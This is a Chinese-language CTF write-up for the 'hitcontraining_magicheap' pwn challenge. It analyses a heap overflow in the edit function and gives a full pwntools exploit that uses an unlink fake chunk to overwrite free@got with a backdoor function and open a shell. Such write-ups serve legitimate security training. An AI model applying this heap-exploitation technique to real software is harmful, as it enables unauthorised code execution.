hitcontraining_magicheap
使用checksec
查看:
一道堆题,关闭了PIE,可以考虑覆盖got表来获取system getshell
拉进IDA中查看:
标准的菜单,main()
函数就不贴截图了,menu()
函数也没有营养,图也不贴了,
先来看看create_heap()
:
- heaparray[i]:存放 chunk 的地址。
- read_input(heaparray[i], size):向 chunk 写入 size 大小的内容。
- heaparray是存放在bss段上的
edit_heap()
:
read_input(heaparray[v1], v2);
- read_input(heaparray[v1], v2):向 chunk 中写入 v2 大小的内容,也就是说如果 v2 比 create 时的 size 大的话就会造成堆溢出。
delete_heap()
:
- free(heaparray[v1]); free 掉对应 chunk
- heaparray[v1] = 0LL; 将指针置 0 。
还有个后门函数l33t()
:
和之前的一道题目[ZJCTF 2019]EasyHeap
一样,简单些,直接有个后门函数。
可以用之前的exp修改下heaparray[]
地址直接打,也可以用l33t()
覆盖free@got
来打,省去输入/bin/sh
的步骤。
from pwn import *
#start
r = remote("node4.buuoj.cn",25748)
elf = ELF("../buu/hitcontraining_magicheap")
# r = process("../buu/hitcontraining_magicheap")
def create(sz,content):
r.sendlineafter("choice :","1")
r.sendlineafter("Heap : ",str(sz))
r.sendlineafter("heap:",content)
def edit(idx,sz,content):
r.sendlineafter("choice :","2")
r.sendlineafter("Index :",str(idx))
r.sendlineafter("Heap : ",str(sz))
r.sendlineafter("heap : ",content)
def delete(idx):
r.sendlineafter("choice :","3")
r.sendlineafter("Index :",str(idx))
#params
heaparray_addr = 0x6020C0
getshell_addr = elf.symbols['l33t']
free_got = elf.got['free']
#attack
create(0x90,b"MMMM")#0
create(0x90,b"MMMM")#1
create(0x20,b"MMMM")#2
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)
fake_chunk = fake_chunk.ljust(0x90,b'M')
fake_chunk += p64(0x90) + p64(0xa0)
edit(0,0x100,fake_chunk)
delete(1)
# gdb.attach(sh,"b* 0x400930")
payload = p64(0)*3 +p64(free_got)
edit(0,0x20 ,payload)
edit(0,8,p64(getshell_addr))
delete(0)
r.interactive()